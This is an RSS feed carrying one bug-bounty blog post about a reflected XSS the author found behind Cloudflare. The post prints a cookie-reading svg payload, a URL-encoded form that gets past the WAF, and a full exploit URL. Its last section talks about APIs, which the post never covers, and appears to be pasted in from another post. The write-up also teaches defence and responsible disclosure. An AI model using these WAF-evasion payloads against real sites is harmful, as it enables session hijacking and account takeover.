<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	 xmlns:media="http://search.yahoo.com/mrss/" >

<channel>
	<title>Hackerone &#8211; Hackersatty – Learn Ethical Hacking, Bug Bounty, and Cybersecurity Tips</title>
	<atom:link href="https://hackersatty.com/tag/hackerone/feed/" rel="self" type="application/rss+xml" />
	<link>https://hackersatty.com</link>
	<description>Hack Ethicaly, Hunt Bugs</description>
	<lastBuildDate>Sat, 07 Jun 2025 05:17:15 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	

<image>
	<url>https://hackersatty.com/wp-content/uploads/2025/06/cropped-cropped-HACKER-SATTY-scaled-1-32x32.jpg</url>
	<title>Hackerone &#8211; Hackersatty – Learn Ethical Hacking, Bug Bounty, and Cybersecurity Tips</title>
	<link>https://hackersatty.com</link>
	<width>32</width>
	<height>32</height>
</image> 
<site xmlns="com-wordpress:feed-additions:1">245626826</site>	<item>
		<title>$200 XSS Exploit: Bypass Cloudflare Using Waybackurls – A Complete Guide for Bug Hunters</title>
		<link>https://hackersatty.com/cloudflare-xss-bypass/</link>
					<comments>https://hackersatty.com/cloudflare-xss-bypass/#respond</comments>
		
		<dc:creator><![CDATA[hackersatty]]></dc:creator>
		<pubDate>Sun, 01 Jun 2025 20:04:44 +0000</pubDate>
				<category><![CDATA[Bug Bounty Blogs]]></category>
		<category><![CDATA[Bug Bounty]]></category>
		<category><![CDATA[Hackerone]]></category>
		<category><![CDATA[hackersatty]]></category>
		<category><![CDATA[Waybackurls]]></category>
		<category><![CDATA[XSS Bug bounty]]></category>
		<guid isPermaLink="false">https://hackersatty.com/?p=248</guid>

					<description><![CDATA[By Satyam Pawale (@hackersatty) About Me Hi! I’m Satyam Pawale (@hackersatty), a passionate bug bounty hunter. In this article, I’ll take you through one of my real-world XSS vulnerability discoveries &#8230; <a href="https://hackersatty.com/cloudflare-xss-bypass/" class="more-link">Read More</a>]]></description>
										<content:encoded><![CDATA[
<p data-pm-slice="1 1 []"><em>By Satyam Pawale (@hackersatty)</em></p>
<div><hr /></div>
<h2>About Me</h2>
<p>Hi! I’m Satyam Pawale (@hackersatty), a passionate bug bounty hunter. In this article, I’ll take you through one of my real-world XSS vulnerability discoveries that earned me a $200 bounty. We’ll walk through:</p>
<ul data-spread="false">
<li>
<p>How I identified the vulnerable parameter</p>
</li>
<li>
<p>How I used Waybackurls to bypass Cloudflare</p>
</li>
<li>
<p>The exact payload and encoding used</p>
</li>
<li>
<p>Impact analysis (session hijacking, data theft)</p>
</li>
<li>
<p>How to responsibly report the bug</p>
</li>
</ul>
<p>If you’re learning bug bounty hunting, this deep guide will equip you with practical steps and critical insights into exploiting and defending against XSS vulnerabilities.</p>
<div><hr /></div>
<h2>What is Reflected XSS?</h2>
<p><strong>Reflected Cross-Site Scripting (XSS)</strong> is a security flaw that occurs when a web application immediately reflects user input without sanitizing or validating it. For example, if a user inputs JavaScript code in a URL parameter and the server reflects it back into the HTML response, that code executes in the victim’s browser.</p>
<h3>Example Impact:</h3>
<ul data-spread="false">
<li>
<p>Session Hijacking</p>
</li>
<li>
<p>Account Takeover</p>
</li>
<li>
<p>Phishing attacks</p>
</li>
<li>
<p>Bypassing security protections like Cloudflare</p>
</li>
</ul>
<p>A vulnerable endpoint might look like:</p>
<pre><code>https://example.com/ajax/load.php?game_id=&lt;script&gt;alert(1)&lt;/script&gt;</code></pre>
<div><hr /></div>
<h2>Discovery and Initial Testing</h2>
<p>I started testing a web application that used Cloudflare as its WAF (Web Application Firewall). While many parameters were sanitized on modern endpoints, I wanted to check if older, unmaintained endpoints existed.</p>
<h3>Step 1: Finding Old URLs Using Waybackurls</h3>
<p>To search archived endpoints, I used the Waybackurls tool:</p>
<pre><code>waybackurls example.com &gt; urls.txt</code></pre>
<p>This revealed endpoints like:</p>
<pre><code>https://example.com/ajax/load.php?game_id=123
https://example.com/search.php?q=123</code></pre>
<p>Many of these were no longer linked on the website, but some were still functional. This is a goldmine for XSS testing.</p>
<div><hr /></div>
<h2>Identifying the Vulnerable Parameter</h2>
<p>Among these, the <code>game_id</code> parameter on <code>load.php</code> reflected input directly into the page without encoding or sanitization.</p>
<p>I first tested this URL:</p>
<pre><code>https://example.com/ajax/load.php?game_id=&lt;svg onload=alert(1)&gt;</code></pre>
<p>Cloudflare blocked the request.</p>
<p>But the fact that it was reflecting content hinted at a deeper issue. So, I moved to encoding the payload.</p>
<div><hr /></div>
<h2>Crafting and Encoding the XSS Payload</h2>
<h3>Initial Payload:</h3>
<pre><code>&lt;svg onload=prompt(document.cookie)&gt;</code></pre>
<h3>Encoded Version (To Bypass Cloudflare):</h3>
<pre><code>Dec%3a%20%3csvg%20onload%3dprompt%26%230000000040document%2ecookie)%3e</code></pre>
<p>The trick is using special characters, HTML entity encoding (<code>%3c</code>, <code>%3e</code>, etc.), and payload obfuscation (e.g., <code>&amp;%230000000040</code> for <code>@</code>) to evade WAF pattern matching.</p>
<div><hr /></div>
<h2>Final Exploit URL</h2>
<p>I injected the encoded payload into the vulnerable parameter:</p>
<pre><code>https://example.com/ajax/load.php?game_id=Dec%3a%20%3csvg%20onload%3dprompt%26%230000000040document%2ecookie)%3e&amp;sort=id-desc</code></pre>
<p>Upon visiting this URL in the browser, the page executed the JavaScript and showed a cookie prompt — confirming the XSS.</p>
<div><hr /></div>
<h2>Real-World Impact: Why This Matters</h2>
<p>This is more than just an alert box. With this kind of XSS vulnerability, an attacker could:</p>
<ol start="1" data-spread="false">
<li>
<p>Steal Session Cookies: Gain access to authenticated sessions</p>
</li>
<li>
<p>Impersonate Admin Users</p>
</li>
<li>
<p>Craft Phishing Campaigns: Alter the DOM to trick users</p>
</li>
<li>
<p>Exfiltrate Data: Send sensitive info to a third-party domain</p>
</li>
<li>
<p>Bypass Cloudflare’s WAF: Encoding and archive hunting helped bypass filtering</p>
</li>
</ol>
<p>This XSS existed despite the site using Cloudflare, showing that WAFs are not foolproof.</p>
<div><hr /></div>
<h2>Step-by-Step Exploitation Recap</h2>
<h3>Step 1: Run Waybackurls</h3>
<pre><code>waybackurls example.com &gt; urls.txt</code></pre>
<h3><img fetchpriority="high" decoding="async" class="alignnone" src="https://miro.medium.com/v2/resize:fit:875/1*w71NdMxno_uf2ESn2ukAMQ.png" alt="Reflected XSS Exploit Bypassing Cloudflare using Encoded Payload" width="875" height="445" title="$200 XSS Exploit: Bypass Cloudflare Using Waybackurls – A Complete Guide for Bug Hunters 3"></h3>
<h3>Step 2: Identify Reflection Points</h3>
<p>Test URLs with special characters:</p>
<pre><code>https://example.com/ajax/load.php?game_id=&lt;test&gt;</code></pre>
<h3>Step 3: Craft Payload</h3>
<p>Use <code>&lt;svg onload=prompt(document.cookie)&gt;</code> as base.</p>
<h3>Step 4: Encode the Payload</h3>
<p>Use HTML and URL encoding to bypass WAFs.</p>
<h3>Step 5: Inject &amp; Confirm Execution</h3>
<p>Visit encoded URL. Confirm if cookies or other actions are triggered.</p>
<p><img decoding="async" class="alignnone" src="https://miro.medium.com/v2/resize:fit:875/1*IITaCrZqNeSdVRIE89auIQ.png" alt="Reflected XSS Exploit Bypassing Cloudflare using Encoded Payload" width="875" height="297" title="$200 XSS Exploit: Bypass Cloudflare Using Waybackurls – A Complete Guide for Bug Hunters 4"></p>
<div><hr /></div>
<h2>How to Report Responsibly</h2>
<p>When you find a valid XSS vulnerability:</p>
<ul data-spread="false">
<li>
<p>Write a clear report with step-by-step instructions</p>
</li>
<li>
<p>Include screenshots or video proof</p>
</li>
<li>
<p>Highlight risk and business impact</p>
</li>
<li>
<p>Provide remediation tips (see next section)</p>
</li>
</ul>
<p>This professional approach led to my report being accepted and rewarded with $200.</p>
<div><hr /></div>
<h2>Preventing Reflected XSS – Tips for Developers</h2>
<h3>Input Validation</h3>
<p>Ensure all inputs are validated server-side, not just in JavaScript.</p>
<h3>Output Encoding</h3>
<p>Use proper encoding libraries to prevent raw HTML/JavaScript injection.</p>
<h3>Implement CSP</h3>
<p>A strict Content Security Policy limits allowed scripts.</p>
<h3>Disable Old Endpoints</h3>
<p>Endpoints like <code>ajax/load.php</code> may remain live unintentionally.</p>
<h3>Use Frameworks with Built-in XSS Protection</h3>
<p>React, Vue, Angular, etc. escape user data by default.</p>
<div><hr /></div>
<h2>Key Lessons for Bug Bounty Hunters</h2>
<ul data-spread="false">
<li>
<p>Use tools like Waybackurls to uncover legacy vulnerabilities.</p>
</li>
<li>
<p>Obfuscate payloads with encoding to bypass WAF filters.</p>
</li>
<li>
<p>Don’t rely on modern endpoints only — check archived, deprecated URLs.</p>
</li>
<li>
<p>Combine your XSS findings with other bugs (e.g., session fixation or open redirect) for greater impact.</p>
</li>
</ul>
<div><hr /></div>
<h2>Final Thoughts</h2>
<p>Reflected XSS vulnerabilities are often overlooked in modern apps, but they can still cause significant damage, especially when combined with weak defenses or forgotten endpoints. This case study proved that even with Cloudflare in place, encoded payloads and historical data can be used to craft successful exploits.</p>
<p>Always test ethically, report responsibly, and never stop learning. Want more content like this? Check out my bug bounty blog and follow for real-life hacking walkthroughs.</p>
<div><hr /></div>
<p><strong>Other Internal Blog Link:</strong></p>
<ul data-spread="false">
<li>
<p><a href="https://hackersatty.com/bug-bounty-blogs">Hackersatty</a></p>
</li>
</ul>
<p><strong>External DoFollow Links:</strong></p>
<ul data-spread="false">
<li>
<p><a href="https://owasp.org/www-community/attacks/xss/" target="_blank" rel="noopener">OWASP XSS</a></p>
</li>
<li>
<p><a href="https://github.com/tomnomnom/waybackurls" target="_blank" rel="noopener">WAYBACKURLS</a></p>
</li>
<li>
<p><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP" target="_blank" rel="noopener">XSS CSP</a></p>
<h2> </h2>
<h2>Final Thoughts: Keep Hunting, Keep Learning</h2>
<p>This was one of my earliest critical bug bounty finds and taught me that <strong>APIs are one of the most vulnerable attack surfaces today</strong>. With tools like Swagger, Postman, and Burp Suite at your disposal, you don’t need to brute force—just observe and test logically.</p>
<p>🔍 <strong>API is more than headers and tokens—it&#8217;s about understanding how developers structure access and how attackers think.</strong></p>
<p>If you found this write-up helpful, feel free to connect with me on <a href="https://www.linkedin.com/in/hackersatty/" target="_blank" rel="noopener">LinkedIn</a> or follow my work on <a href="https://twitter.com/hackersatty" target="_blank" rel="noopener">Twitter</a>.</p>
<p>Until next time, stay curious and stay secure! 🔐</p>
</li>
<li> </li>
</ul>
]]></content:encoded>
					
					<wfw:commentRss>https://hackersatty.com/cloudflare-xss-bypass/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">248</post-id>	</item>
	</channel>
</rss>
